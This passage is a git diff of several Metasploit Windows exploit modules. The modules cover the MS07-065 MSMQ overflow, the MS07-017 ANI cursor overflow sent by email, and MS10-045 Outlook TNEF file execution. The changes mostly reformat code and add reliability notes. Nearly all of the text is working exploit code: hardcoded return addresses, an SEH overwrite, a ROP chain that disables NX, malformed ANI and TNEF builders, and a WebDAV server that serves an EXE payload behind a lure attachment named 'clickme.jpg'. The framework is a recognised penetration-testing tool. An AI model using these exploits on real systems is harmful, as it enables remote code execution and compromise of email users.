txt[ off - 4, 2] = "\xeb\x06" - txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V') + txt[off] = [mytarget.ret].pack('V') + txt[off - 4, 2] = "\xeb\x06" + txt[off + 4, 5] = "\xe9" + [ (off + 9) * -1 ].pack('V') elsif (mytarget['OS'] =~ /2003SP0/) txt[0, payload.encoded.length] = payload.encoded off = mytarget['Off'] - txt[ off ] = [mytarget['Rets'][0]].pack('V') # __except_handler3 - txt[ off - 4, 2] = "\xeb\x16" + txt[off] = [mytarget['Rets'][0]].pack('V') # __except_handler3 + txt[off - 4, 2] = "\xeb\x16" # addr = A + B*12 + 4 = 0x77f7e7f0 (ntdll -> 0x77f443c9) - addr = mytarget['Rets'][1] - 4 + addr = mytarget['Rets'][1] - 4 addr1 = addr / 2 addr2 = addr1 + addr % 2 addr1 = addr1 + (addr2 % 12) addr2 = addr2 / 12 - txt[ off + 4, 8] = [addr1, addr2].pack('VV') # A,B + txt[off + 4, 8] = [addr1, addr2].pack('VV') # A,B # # then mov eax, [addr] sets eax to 0x77f443c9 and the code goes here : @@ -206,14 +203,13 @@ def exploit # 0x77f443d5 leave ; mov esp, ebp # 0x77f443d6 retn ; ret - txt[ off + 16, 4] = [mytarget['Rets'][2]].pack('V') # jmp esp - txt[ off + 20, 5] = "\xe9" + [ (off+23) * -1 ].pack('V') + txt[off + 16, 4] = [mytarget['Rets'][2]].pack('V') # jmp esp + txt[off + 20, 5] = "\xe9" + [ (off + 23) * -1 ].pack('V') elsif (mytarget['OS'] =~ /2003SP12/) off = mytarget['Off'] - ib = mytarget['IB'] - txt[ off ] = [ib + 0x2566].pack('V') - + ib = mytarget['IB'] + txt[off] = [ib + 0x2566].pack('V') # to bypass NX we need to emulate the call to ZwSetInformationProcess # with generic value (to work on SP1-SP2 + patches) @@ -226,8 +222,8 @@ def exploit # pop esi <- esi = edh # retn - txt[ off + 4, 4 ] = [ib + 0x1da7].pack('V') - txt[ off + 28, 4] = [0xed].pack('V') + txt[off + 4, 4] = [ib + 0x1da7].pack('V') + txt[off + 28, 4] = [0xed].pack('V') # now we set ecx to 0x7ffe0300, eax to 0xed # 0x76a81da4: @@ -236,23 +232,23 @@ def exploit # pop esi # retn - txt[ off + 32, 4] = [ib + 0x1da4].pack('V') - txt[ off + 36, 4] = [0x7ffe0300].pack('V') + txt[off + 32, 4] = [ib + 0x1da4].pack('V') + txt[off + 36, 4] = [0x7ffe0300].pack('V') # finally we call NtSetInformationProcess (-1, 34, 0x7ffe0270, 4) # 0x7FFE0270 is a pointer to 0x2 (os version info :-) to disable NX # 0x76a8109c: # call dword ptr [ecx] - txt[ off + 44, 4] = [ib + 0x109c].pack('V') # call dword ptr[ecx] - txt[ off + 52, 16] = [-1, 34, 0x7FFE0270, 4].pack('VVVV') + txt[off + 44, 4] = [ib + 0x109c].pack('V') # call dword ptr[ecx] + txt[off + 52, 16] = [-1, 34, 0x7FFE0270, 4].pack('VVVV') # we catch the second exception to go back to our shellcode, now that # NX is disabled off = 1013 - txt[ off, 4 ] = [ib + 0x135bf].pack('V') # (jmp esp in atl.dll) - txt[ off + 24, payload.encoded.length ] = payload.encoded + txt[off, 4] = [ib + 0x135bf].pack('V') # (jmp esp in atl.dll) + txt[off + 24, payload.encoded.length] = payload.encoded end @@ -268,10 +264,8 @@ def exploit stubdata = NDR.long(rand(0xffffffff)) + NDR.wstring(Rex::Text.rand_text_alpha(1) + "\x00\x00") + - NDR.long(rand(0xffffffff)) + NDR.string(req + "\x00") + - NDR.long(rand(0xffffffff)) + NDR.string(Rex::Text.rand_text_alpha(1) + "\x00") diff --git a/modules/exploits/windows/dcerpc/ms07_065_msmq.rb b/modules/exploits/windows/dcerpc/ms07_065_msmq.rb index 6a8689ef2369d..a00f1d94628b8 100644 --- a/modules/exploits/windows/dcerpc/ms07_065_msmq.rb +++ b/modules/exploits/windows/dcerpc/ms07_065_msmq.rb @@ -10,53 +10,59 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Seh def initialize(info = {}) - super(update_info(info, - 'Name' => 'MS07-065 Microsoft Message Queueing Service DNS Name Path Overflow', - 'Description' => %q{ - This module exploits a stack buffer overflow in the RPC interface - to the Microsoft Message Queueing service. This exploit requires - the target system to have been configured with a DNS name and - for that name to be supplied in the 'DNAME' option. This name does - not need to be served by a valid DNS server, only configured on - the target machine. - - }, - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'MS07-065 Microsoft Message Queueing Service DNS Name Path Overflow', + 'Description' => %q{ + This module exploits a stack buffer overflow in the RPC interface + to the Microsoft Message Queueing service. This exploit requires + the target system to have been configured with a DNS name and + for that name to be supplied in the 'DNAME' option. This name does + not need to be served by a valid DNS server, only configured on + the target machine. + }, + 'Author' => [ 'hdm' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2007-3039'], [ 'OSVDB', '39123'], [ 'MSB', 'MS07-065'], ], - 'Privileged' => true, - 'Payload' => - { - 'Space' => 1024, + 'Privileged' => true, + 'Payload' => { + 'Space' => 1024, 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff", 'StackAdjustment' => -3500, }, - 'Platform' => %w{ win }, - 'Targets' => - [ + 'Platform' => %w{win}, + 'Targets' => [ [ 'Windows 2000 Server English', { 'Platform' => 'win', - 'Ret' => 0x75022ac4 # ws2help - pop/pop/ret + 'Ret' => 0x75022ac4 # ws2help - pop/pop/ret }, ], ], - 'DisclosureDate' => '2007-12-11', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2007-12-11', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) # Change the default port values to point at MSMQ register_options( [ Opt::RPORT(2103), - OptString.new('DNAME', [ true, "The DNS hostname of the target" ]), - ]) + OptString.new('DNAME', [ true, "The DNS hostname of the target" ]), + ] + ) end def autofilter @@ -65,7 +71,7 @@ def autofilter # back to 2103 for automated exploitation rport = datastore['RPORT'].to_i - if ( rport == 445 or rport == 139 ) + if (rport == 445 or rport == 139) datastore['RPORT'] = 2103 end @@ -79,7 +85,6 @@ def autofilter end def exploit - connect print_status("Trying target #{target.name}...") @@ -92,9 +97,9 @@ def exploit boom = rand_text_alphanumeric(4096) - hname,domain = dname.split(".") + hname, domain = dname.split(".") - if(not domain) + if (not domain) print_status("The DNAME parameter specified is not valid.") print_status("This option must be the fully-qualified domain name of the target (as it has been configured).") return @@ -105,12 +110,12 @@ def exploit seh = generate_seh_payload(target.ret) boom[off, seh.length] = seh - buff = Rex::Text.to_unicode("#{dname}\\") + buff = Rex::Text.to_unicode("#{dname}\\") buff << boom buff << "\x00\x00" # Data alignment - while(buff.length % 4 != 0) + while (buff.length % 4 != 0) buff << "\x00" end diff --git a/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb b/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb index c14d0744fadcd..0816bea343616 100644 --- a/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb +++ b/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb @@ -12,51 +12,48 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::SMTPDeliver def initialize(info = {}) - super(update_info(info, - 'Name' => 'Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)', - 'Description' => %q{ - This module exploits a buffer overflow vulnerability in the - LoadAniIcon() function of USER32.dll. The flaw is triggered - through Outlook Express by using the CURSOR style sheet - directive to load a malicious .ANI file. - - This vulnerability was discovered by Alexander Sotirov of Determina - and was rediscovered, in the wild, by McAfee. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'hdm', # First version + super( + update_info( + info, + 'Name' => 'Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)', + 'Description' => %q{ + This module exploits a buffer overflow vulnerability in the + LoadAniIcon() function of USER32.dll. The flaw is triggered + through Outlook Express by using the CURSOR style sheet + directive to load a malicious .ANI file. + + This vulnerability was discovered by Alexander Sotirov of Determina + and was rediscovered, in the wild, by McAfee. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'hdm', # First version 'skape', # Vista support ], - 'References' => - [ + 'References' => [ ['MSB', 'MS07-017'], ['CVE', '2007-0038'], ['CVE', '2007-1765'], ['OSVDB', '33629'], ['BID', '23194'] ], - 'Stance' => Msf::Exploit::Stance::Passive, - 'DefaultOptions' => - { + 'Stance' => Msf::Exploit::Stance::Passive, + 'DefaultOptions' => { # Cause internet explorer to exit after the code hits 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 1024 + (rand(1000)), - 'MinNops' => 32, - 'Compat' => - { - 'ConnectionType' => '-bind -find', - }, + 'Payload' => { + 'Space' => 1024 + (rand(1000)), + 'MinNops' => 32, + 'Compat' => + { + 'ConnectionType' => '-bind -find', + }, 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ # # Use multiple cursor URLs to try all targets. This can result in @@ -90,14 +87,15 @@ def initialize(info = {}) # tag contains a short jump into an embedded riff chunk that # makes a long relative jump into the actual payload. # - [ 'Windows Vista user32.dll 6.0.6000.16386', + [ + 'Windows Vista user32.dll 6.0.6000.16386', { - 'Ret' => 0x700b, - 'Len' => 2, + 'Ret' => 0x700b, + 'Len' => 2, # On Vista, the pages that contain the RIFF are read-only. # In-place decoders cannot be used. - 'Payload' => { 'EncoderType' => Msf::Encoder::Type::Raw } + 'Payload' => { 'EncoderType' => Msf::Encoder::Type::Raw } } ], @@ -114,9 +112,15 @@ def initialize(info = {}) [ 'Windows XP SP1a userenv.dll English', { 'Ret' => 0x75a758b1 }], [ 'Windows XP SP1a shell32.dll English', { 'Ret' => 0x77441a66 }] ], - 'DisclosureDate' => '2007-03-28', - 'DefaultTarget' => 0)) - + 'DisclosureDate' => '2007-03-28', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def autofilter @@ -124,26 +128,25 @@ def autofilter end def exploit - exts = ['bmp', 'wav', 'png', 'zip', 'tar'] - gext = exts[rand(exts.length)] - name = rand_text_alpha(rand(10)+1) + ".#{gext}" + gext = exts[rand(exts.length)] + name = rand_text_alpha(rand(10) + 1) + ".#{gext}" anis = {} html = "" + - rand_text_alphanumeric(rand(128)+4) + + rand_text_alphanumeric(rand(128) + 4) + "" + - "" + rand_text_alphanumeric(rand(128)+1) - + "" + rand_text_alphanumeric(rand(128) + 1) mytargs = (target.name =~ /Automatic/) ? targets : [target] if target.name =~ /Automatic/ targets.each_index { |i| next if not targets[i].ret + acid = generate_cid html << generate_div("cid:#{acid}") @@ -166,17 +169,16 @@ def exploit html << "" - msg = Rex::MIME::Message.new msg.mime_defaults - msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1) + msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32) + 1) msg.to = datastore['MAILTO'] msg.from = datastore['MAILFROM'] msg.add_part(Rex::Text.encode_base64(html, "\r\n"), "text/html", "base64", "inline") - anis.each_pair do |cid,ani| + anis.each_pair do |cid, ani| part = msg.add_part_attachment(ani, cid + "." + gext) - part.header.set("Content-ID", "<"+cid+">") + part.header.set("Content-ID", "<" + cid + ">") end send_message(msg.to_s) @@ -185,7 +187,7 @@ def exploit end def generate_cid - rand_text_alphanumeric(32)+'@'+rand_text_alphanumeric(8) + rand_text_alphanumeric(32) + '@' + rand_text_alphanumeric(8) end def generate_div(url) @@ -203,16 +205,15 @@ def generate_div(url) generate_css_padding() + "'>" + generate_padding() + - "" + "" end def generate_ani(payload, target) - # Build the first ANI header anih_a = [ - 36, # DWORD cbSizeof - rand(128)+16, # DWORD cFrames - rand(1024)+1, # DWORD cSteps + 36, # DWORD cbSizeof + rand(128) + 16, # DWORD cFrames + rand(1024) + 1, # DWORD cSteps 0, # DWORD cx,cy (reserved - 0) 0, # DWORD cBitCount, cPlanes (reserved - 0) 0, 0, 0, # JIF jifRate @@ -250,7 +251,7 @@ def generate_ani(payload, target) end # Insert random RIFF chunks - 0.upto(rand(128)+16) do |i| + 0.upto(rand(128) + 16) do |i| riff << generate_riff_chunk() end @@ -258,7 +259,7 @@ def generate_ani(payload, target) riff << "anih" + [anih_a.length].pack('V') + anih_a # Insert random RIFF chunks - 0.upto(rand(128)+16) do |i| + 0.upto(rand(128) + 16) do |i| riff << generate_riff_chunk() end @@ -268,7 +269,7 @@ def generate_ani(payload, target) # If this is a Vista target, then we need to align the length of the # RIFF chunk so that the low order two bytes are equal to a jmp $+0x16 if target.name =~ /Vista/ - plen = (riff.length & 0xffff0000) | 0x0eeb + plen = (riff.length & 0xffff0000) | 0x0eeb plen += 0x10000 if (plen - 8) < riff.length riff << generate_riff_chunk((plen - 8) - riff.length) @@ -290,18 +291,17 @@ def generate_ani(payload, target) ret << payload.encoded ret - end # Generates a riff chunk with the first bytes of the data being a relative # jump. This is used to bounce to the actual payload def generate_trampoline_riff_chunk tag = Rex::Text.to_rand_case(rand_text_alpha(4)) - dat = "\xe9\xff\xff\xff\xff" + rand_text(1) + (rand_text(rand(256)+1) * 2) + dat = "\xe9\xff\xff\xff\xff" + rand_text(1) + (rand_text(rand(256) + 1) * 2) tag + [dat.length].pack('V') + dat end - def generate_riff_chunk(len = (rand(256)+1) * 2) + def generate_riff_chunk(len = (rand(256) + 1) * 2) tag = Rex::Text.to_rand_case(rand_text_alpha(4)) dat = rand_text(len) tag + [dat.length].pack('V') + dat @@ -319,7 +319,7 @@ def generate_css_padding end def generate_whitespace - len = rand(100)+2 + len = rand(100) + 2 set = "\x09\x20\x0d\x0a" buf = '' @@ -330,6 +330,6 @@ def generate_whitespace end def generate_padding - rand_text_alphanumeric(rand(128)+4) + rand_text_alphanumeric(rand(128) + 4) end end diff --git a/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb b/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb index 0f92cd46cfb10..a926a565e2e60 100644 --- a/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb +++ b/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb @@ -16,43 +16,49 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::EXE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Outlook ATTACH_BY_REF_ONLY File Execution', - 'Description' => %q{ - It has been discovered that certain e-mail message cause Outlook to create Windows - shortcut-like attachments or messages within Outlook. Through specially crafted TNEF - streams with certain MAPI attachment properties, it is possible to set a path name - to files to be executed. When a user double clicks on such an attachment or message, - Outlook will proceed to execute the file that is set by the path name value. These - files can be local files, but also files stored remotely (on a file share, for example) - can be used. Exploitation is limited by the fact that it is not possible for attackers - to supply command line options. - }, - 'Author' => 'Yorick Koster ', - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Outlook ATTACH_BY_REF_ONLY File Execution', + 'Description' => %q{ + It has been discovered that certain e-mail message cause Outlook to create Windows + shortcut-like attachments or messages within Outlook. Through specially crafted TNEF + streams with certain MAPI attachment properties, it is possible to set a path name + to files to be executed. When a user double clicks on such an attachment or message, + Outlook will proceed to execute the file that is set by the path name value. These + files can be local files, but also files stored remotely (on a file share, for example) + can be used. Exploitation is limited by the fact that it is not possible for attackers + to supply command line options. + }, + 'Author' => 'Yorick Koster ', + 'References' => [ ['MSB', 'MS10-045'], ['CVE', '2010-0266'], ['OSVDB', '66296'], ['BID', '41446'], ['URL', 'http://www.akitasecurity.nl/advisory.php?id=AK20091001'], ], - 'Stance' => Msf::Exploit::Stance::Passive, - 'Payload' => - { - 'Space' => 1024, - 'Compat' => - { - 'ConnectionType' => '-bind -find', - }, + 'Stance' => Msf::Exploit::Stance::Passive, + 'Payload' => { + 'Space' => 1024, + 'Compat' => + { + 'ConnectionType' => '-bind -find', + }, 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => [ [ 'Automatic', {} ] ], - 'DisclosureDate' => '2010-06-01', - 'DefaultTarget' => 0 - )) + 'Platform' => 'win', + 'Targets' => [ [ 'Automatic', {} ] ], + 'DisclosureDate' => '2010-06-01', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ @@ -60,26 +66,26 @@ def initialize(info = {}) # Email options # OptString.new('MESSAGECLASS', - [false, 'Message Class value', 'IPM.Note']), + [false, 'Message Class value', 'IPM.Note']), OptString.new('FILENAME', - [false, 'Sets the file name that is displayed in the message', 'clickme.jpg']), + [false, 'Sets the file name that is displayed in the message', 'clickme.jpg']), OptBool.new('HTML', - [false, 'Send email in HTML or plain text', true]), + [false, 'Send email in HTML or plain text', true]), OptString.new('MESSAGE', - [false, 'Email message text', 'Dear Madam, Sir,\\n\\nWe have attached your tickets to this message.\\n\\nKind regards,\\n\\nEve']), + [false, 'Email message text', 'Dear Madam, Sir,\\n\\nWe have attached your tickets to this message.\\n\\nKind regards,\\n\\nEve']), # # WebDAV options # - OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), - OptString.new('URIPATH', [ true, "The URI to use (do not change).", "/" ]), + OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), + OptString.new('URIPATH', [ true, "The URI to use (do not change).", "/" ]), OptString.new('UNCHOST', [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ]) - ]) + ] + ) deregister_options('SSL', 'SSLVersion') # Just for now end def on_request_uri(cli, request) - case request.method when 'OPTIONS' process_options(cli, request) @@ -94,17 +100,16 @@ def on_request_uri(cli, request) resp['Content-Type'] = 'text/html' cli.send_response(resp) end - end def process_get(cli, request) - myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] webdav = "\\\\#{myhost}\\" if (request.uri =~ /\.exe$/i) print_status "Sending EXE payload #{cli.peerhost}:#{cli.peerport} ..." return if ((p = regenerate_payload(cli)) == nil) + data = generate_payload_exe({ :code => p.encoded }) send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return @@ -124,10 +129,10 @@ def process_options(cli, request) print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}") headers = { 'MS-Author-Via' => 'DAV', -# 'DASL' => '', -# 'DAV' => '1, 2', - 'Allow' => 'OPTIONS, GET, PROPFIND', - 'Public' => 'OPTIONS, GET, PROPFIND' + # 'DASL' => '', + # 'DAV' => '1, 2', + 'Allow' => 'OPTIONS, GET, PROPFIND', + 'Public' => 'OPTIONS, GET, PROPFIND' } resp = create_response(207, "Multi-Status") resp.body = "" @@ -143,8 +148,8 @@ def process_propfind(cli, request) print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}") body = '' - my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] - my_uri = "http://#{my_host}/" + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + my_uri = "http://#{my_host}/" if path =~ /\.exe$/i # Response for the DLL @@ -157,7 +162,7 @@ def process_propfind(cli, request) 2010-07-19T20:29:42Z -#{rand(0x100000)+128000} +#{rand(0x100000) + 128000} Mon, 19 Jul 2010 20:29:42 GMT "#{"%.16x" % rand(0x100000000)}" T @@ -234,7 +239,6 @@ def process_propfind(cli, request) | - subdirectory = %Q| #{path}#{Rex::Text.rand_text_alpha(6)}/ @@ -269,7 +273,7 @@ def process_propfind(cli, request) 2010-07-19T20:29:42Z -#{rand(0x100000)+128000} +#{rand(0x100000) + 128000} Mon, 19 Jul 2010 20:29:42 GMT "#{"%.16x" % rand(0x100000000)}" T @@ -310,7 +314,6 @@ def process_propfind(cli, request) end def exploit - unc = nil if (datastore['UNCHOST']) unc = datastore['UNCHOST'].dup @@ -319,8 +322,8 @@ def exploit end @exploit_unc_host = unc - @exploit_unc = "\\\\#{unc}\\#{rand_text_alpha(rand(8)+4)}\\" - @exploit_exe = rand_text_alpha(rand(8)+4) + ".exe" + @exploit_unc = "\\\\#{unc}\\#{rand_text_alpha(rand(8) + 4)}\\" + @exploit_exe = rand_text_alpha(rand(8) + 4) + ".exe" if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') @@ -328,7 +331,7 @@ def exploit msg = Rex::MIME::Message.new msg.mime_defaults - msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1) + msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32) + 1) msg.to = datastore['MAILTO'] msg.from = datastore['MAILFROM'] @@ -371,77 +374,77 @@ def create_email_body_html(body, subject) def create_tnef_exploit filename = (datastore['FILENAME'] || 'clickme.png') << "\x00" message_class = (datastore['MESSAGECLASS'] || 'IPM.Note') << "\x00" - pathname = "file://#{@exploit_unc_host}/#{rand_text_alpha(rand(8)+4)}/#{@exploit_exe}?.dat\x00" + pathname = "file://#{@exploit_unc_host}/#{rand_text_alpha(rand(8) + 4)}/#{@exploit_exe}?.dat\x00" print_status("Using UNC path: #{pathname}") # start of TNEF stream sploit = create_tnef_header # MAPI message properties - msgprops = "\x04\x00\x00\x00" # Count 4 + msgprops = "\x04\x00\x00\x00" # Count 4 msgprops << "\x0b\x00" # Type PT_BOOLEAN msgprops << "\x1b\x0e" # Name PR_HASATTACH - msgprops << "\x01\x00\x00\x00" # Value data 1 + msgprops << "\x01\x00\x00\x00" # Value data 1 msgprops << "\x1e\x00" # Type PT_STRING msgprops << "\x1a\x00" # Name PR_MESSAGE_CLASS - msgprops << "\x01\x00\x00\x00" # Count values 1 + msgprops << "\x01\x00\x00\x00" # Count values 1 msgprops << [message_class.length].pack("V") # Value length - msgprops << mapi_pad(message_class) # Value data + msgprops << mapi_pad(message_class) # Value data msgprops << "\x03\x00" # Type PT_INT msgprops << "\xfe\x0f" # Name PR_OBJECT_TYPE - msgprops << "\x05\x00\x00\x00" # Value data MAPI_MESSAGE (5) + msgprops << "\x05\x00\x00\x00" # Value data MAPI_MESSAGE (5) msgprops << "\x03\x00" # Type PT_INT msgprops << "\x07\x0e" # Name PR_MESSAGE_FLAGS - msgprops << "\x12\x00\x00\x00" # Value data 0x00000012 + msgprops << "\x12\x00\x00\x00" # Value data 0x00000012 # add properties to TNEF stream - sploit << "\x01" # Level type LVL_MESSAGE + sploit << "\x01" # Level type LVL_MESSAGE sploit << "\x03\x90" # Name attMAPIProps (0x9003) sploit << "\x06\x00" # Type atpByte (0x0006) - sploit << [msgprops.length].pack('V') # Len + sploit << [msgprops.length].pack('V') # Len sploit << msgprops sploit << tnef_checksum(msgprops) # start of TNEF attachment - sploit << "\x02" # Level type LVL_ATTACHMENT + sploit << "\x02" # Level type LVL_ATTACHMENT sploit << "\x02\x90" # Name attAttachRenddata (0x9002) sploit << "\x06\x00" # Type atpByte (0x0006) - sploit << "\x0e\x00\x00\x00" # Len 0x0000000e + sploit << "\x0e\x00\x00\x00" # Len 0x0000000e sploit << "\x01\x00\xff\xff\xff\xff\x20\x00\x20\x00\x00\x00\x00\x00" - sploit << "\x3d\x04" # Checksum + sploit << "\x3d\x04" # Checksum # MAPI attachment properties - attprops = "\x04\x00\x00\x00" # Count 4 + attprops = "\x04\x00\x00\x00" # Count 4 attprops << "\x1e\x00" # Type PT_STRING attprops << "\x07\x37" # Name PR_ATTACH_LONG_FILENAME - attprops << "\x01\x00\x00\x00" # Count values 1 - attprops << [filename.length].pack('V') # Value length - attprops << mapi_pad(filename) # Value data + attprops << "\x01\x00\x00\x00" # Count values 1 + attprops << [filename.length].pack('V') # Value length + attprops << mapi_pad(filename) # Value data attprops << "\x1e\x00" # Type PT_STRING attprops << "\x0d\x37" # Name PR_ATTACH_LONG_PATHNAME - attprops << "\x01\x00\x00\x00" # Count values 1 - attprops << [pathname.length].pack('V') # Value length - attprops << mapi_pad(pathname) # Value data + attprops << "\x01\x00\x00\x00" # Count values 1 + attprops << [pathname.length].pack('V') # Value length + attprops << mapi_pad(pathname) # Value data attprops << "\x03\x00" # Type PT_INT attprops << "\x05\x37" # Name PR_ATTACH_METHOD - attprops << "\x04\x00\x00\x00" # Value data ATTACH_BY_REF_ONLY (4) + attprops << "\x04\x00\x00\x00" # Value data ATTACH_BY_REF_ONLY (4) attprops << "\x03\x00" # Type PT_INT attprops << "\xfe\x0f" # Name PR_OBJECT_TYPE - attprops << "\x07\x00\x00\x00" # Value data MAPI_ATTACH (7) + attprops << "\x07\x00\x00\x00" # Value data MAPI_ATTACH (7) # add properties to TNEF stream - sploit << "\x02" # Level type LVL_ATTACHMENT + sploit << "\x02" # Level type LVL_ATTACHMENT sploit << "\x05\x90" # Name attAttachment (0x800f) sploit << "\x06\x00" # Type atpByte (0x0006) - sploit << [attprops.length].pack('V') # Len + sploit << [attprops.length].pack('V') # Len sploit << attprops sploit << tnef_checksum(attprops) @@ -450,30 +453,30 @@ def create_tnef_exploit def create_tnef_header # TNEF Header - buf = "\x78\x9f\x3e\x22" # Signature 0x223e9f78 - buf << "\x00\x00" # Key + buf = "\x78\x9f\x3e\x22" # Signature 0x223e9f78 + buf << "\x00\x00" # Key # TNEF Attributes - buf << "\x01" # Level type LVL_MESSAGE + buf << "\x01" # Level type LVL_MESSAGE buf << "\x06\x90" # Name attTnefVersion (0x9006) buf << "\x08\x00" # Type atpDword (0x0008) - buf << "\x04\x00\x00\x00" # Len 0x00000004 + buf << "\x04\x00\x00\x00" # Len 0x00000004 buf << "\x00\x00\x01\x00" - buf << "\x01\x00" # Checksum + buf << "\x01\x00" # Checksum - buf << "\x01" # Level type LVL_MESSAGE + buf << "\x01" # Level type LVL_MESSAGE buf << "\x07\x90" # Name attOemCodepage (0x9007) buf << "\x06\x00" # Type atpByte (0x0006) - buf << "\x08\x00\x00\x00" # Len 0x00000008 + buf << "\x08\x00\x00\x00" # Len 0x00000008 buf << "\xe4\x04\x00\x00\x00\x00\x00\x00" - buf << "\xe8\x00" # Checksum + buf << "\xe8\x00" # Checksum - buf << "\x01" # Level type LVL_MESSAGE + buf << "\x01" # Level type LVL_MESSAGE buf << "\x0d\x80" # Name attPriority (0x800d) buf << "\x04\x00" # Type atpShort (0x0004) - buf << "\x02\x00\x00\x00" # Len 0x00000002 + buf << "\x02\x00\x00\x00" # Len 0x00000002 buf << "\x02\x00" - buf << "\x02\x00" # Checksum + buf << "\x02\x00" # Checksum return buf end diff --git a/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb b/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb index 34eaf395c6780..5ca2bfb354397 100644 --- a/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb +++ b/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb @@ -16,43 +16,49 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::EXE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Outlook ATTACH_BY_REF_RESOLVE File Execution', - 'Description' => %q{ - It has been discovered that certain e-mail message cause Outlook to create Windows - shortcut-like attachments or messages within Outlook. Through specially crafted TNEF - streams with certain MAPI attachment properties, it is possible to set a path name - to files to be executed. When a user double clicks on such an attachment or message, - Outlook will proceed to execute the file that is set by the path name value. These - files can be local files, but also file stored remotely for example on a file share. - Exploitation is limited by the fact that its is not possible for attackers to supply - command line options. - }, - 'Author' => 'Yorick Koster ', - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Outlook ATTACH_BY_REF_RESOLVE File Execution', + 'Description' => %q{ + It has been discovered that certain e-mail message cause Outlook to create Windows + shortcut-like attachments or messages within Outlook. Through specially crafted TNEF + streams with certain MAPI attachment properties, it is possible to set a path name + to files to be executed. When a user double clicks on such an attachment or message, + Outlook will proceed to execute the file that is set by the path name value. These + files can be local files, but also file stored remotely for example on a file share. + Exploitation is limited by the fact that its is not possible for attackers to supply + command line options. + }, + 'Author' => 'Yorick Koster ', + 'References' => [ ['MSB', 'MS10-045'], ['CVE', '2010-0266'], ['OSVDB', '66296'], ['BID', '41446'], ['URL', 'http://www.akitasecurity.nl/advisory.php?id=AK20091001'], ], - 'Stance' => Msf::Exploit::Stance::Passive, - 'Payload' => - { - 'Space' => 1024, - 'Compat' => - { - 'ConnectionType' => '-bind -find', - }, + 'Stance' => Msf::Exploit::Stance::Passive, + 'Payload' => { + 'Space' => 1024, + 'Compat' => + { + 'ConnectionType' => '-bind -find', + }, 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => [ [ 'Automatic', {} ] ], - 'DisclosureDate' => '2010-06-01', - 'DefaultTarget' => 0 - )) + 'Platform' => 'win', + 'Targets' => [ [ 'Automatic', {} ] ], + 'DisclosureDate' => '2010-06-01', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ @@ -60,22 +66,22 @@ def initialize(info = {}) # Email options # OptString.new('MESSAGECLASS', - [false, 'Message Class value', 'IPM.Document.txtfile']), + [false, 'Message Class value', 'IPM.Document.txtfile']), OptString.new('EXTENSION', - [false, 'The extension used in the fake file name', 'jpg']), 